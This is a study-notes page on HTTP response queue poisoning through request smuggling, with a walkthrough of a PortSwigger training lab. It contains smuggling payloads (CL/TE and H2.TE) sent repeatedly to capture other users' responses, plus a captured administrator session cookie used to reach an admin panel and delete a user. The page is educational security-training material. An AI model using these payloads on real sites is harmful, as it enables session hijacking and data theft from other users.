Quartz 🪬

Search

SearchSearch

Port Swigger - Response Queue Poisoning

Nov 21, 20244 min read

Introduction

Response queue poisoning is a powerful form of request smuggling attack that causes a front-end server to start mapping responses from the back-end to the wrong requests.

For a successful response queue poisoning attack, the following criteria must be met:

  • The TCP connection between the front-end and back-end servers is reused for multiple requests and responses.
  • The attacker successfully smuggles a standalone request that gets a distinct response from the back-end server.
  • The attack does not cause either server to close the TCP connection, which often happens when a server receives an invalid request.

Smuggling a Complete Request

If you smuggle a request that also contains a body, the next request on the connection will be appended to the body of the smuggled request. As a result, the back-end effectively sees three requests, where the third “request” is just a series of leftover bytes.

Instead of just a prefix, you can smuggle a complete request:

Front-end (CL)

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Type: x-www-form-urlencoded
Content-Length: 61
Transfer-Encoding: chunked
 
0
 
GET /anything HTTP/1.1      <-- A complete request
Host: vulnerable-website.com
 
 
GET / HTTP/1.1              <-- Subsequent request
Host: vulnerable-website.com

Back-end (TE)

POST / HTTP/1.1                 <-- First request
Host: vulnerable-website.com
Content-Type: x-www-form-urlencoded
Content-Length: 61
Transfer-Encoding: chunked
 
0
 
GET /anything HTTP/1.1          <-- Second request
Host: vulnerable-website.com
 
GET / HTTP/1.1                  <-- Third request instead of left over bytes
Host: vulnerable-website.com

Desynchronizing the Response Queue

When you smuggle a complete request, the front-end server still thinks it only forwarded a single request. On the other hand, the back-end sees two distinct requests, and will send two responses accordingly.

The front-end maps the first response to the initial “wrapper” request and forwards this on to the client. As there are no further requests awaiting a response, the unexpected second response is held in a queue on the connection between the front-end and back-end.

When the front-end receives another request, it forwards this to the back-end as normal. However, when issuing the response, it will send the first one in the queue, that is, the leftover response to the smuggled request.

Once the response queue is poisoned, the attacker can just send an arbitrary request to capture another user’s response.

Attackers can’t control which response they receive; they always get the next response in the queue. However, by automating requests with tools like Burp Intruder, they can capture various responses meant for different users, some of which may contain valuable data.

Tip

To differentiate stolen responses from your own, use a non-existent path in your requests to consistently receive a 404 response.

Lab: Response Queue Poisoning via H2.TE Request Smuggling

Abstract

Front-end server downgrades HTTP/2 requests even if they have an ambiguous length.

To solve the lab, delete the user carlos by using response queue poisoning to break into the admin panel at /admin. An admin user will log in approximately every 15 seconds.

The connection to the back-end is reset every 10 requests, so don’t worry if you get it into a bad state - just send a few normal requests to get a fresh connection.

Info

Follow the solution to solve this lab.

Add the following lines to any request and send it:

Transfer-Encoding: chunked
 
1
A
X

The response shows that there was a timed-out error:

HTTP/2 500 Internal Server Error
Content-Type: text/html; charset=utf-8
Content-Length: 125
 
<html><head><title>Server Error: Proxy error</title></head><body><h1>Server Error: Communication timed out</h1></body></html>

This confirms that the back-end server accepts Transfer-Encoding header.

Then, smuggle a complete TE request to /404 endpoint:

POST /404 HTTP/2
Transfer-Encoding: chunked
 
0
 
GET /404 HTTP/1.1
Transfer-Encoding: chunked
 
0

Send the above request a few times with a little delay between each time. We can use Burp’s Intruder to automate this process.

Repeat until we have this response of admin for /my-account endpoint:

HTTP/2 302 Found
Location: /my-account?id=administrator
Set-Cookie: session=RDu1Egp4UDmg1iurt7C9xv2wHk5lSrRL; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 0

Use this cookie to access /admin and delete carlos user.

Note

If you receive some 200 responses but can’t capture a 302 response even after a lot of attempts, send 10 ordinary requests to reset the connection and try again.

What is the Impact of Response Queue Poisoning?

Once the queue is poisoned, an attacker can capture other users’ responses by issuing arbitrary follow-up requests, potentially exposing sensitive data.

This also disrupts the site for other users sharing the same TCP connection, causing them to receive random server responses and preventing normal site functions.

list
from outgoing([[Port Swigger - Response Queue Poisoning]])
sort file.ctime asc

Resources

Backlinks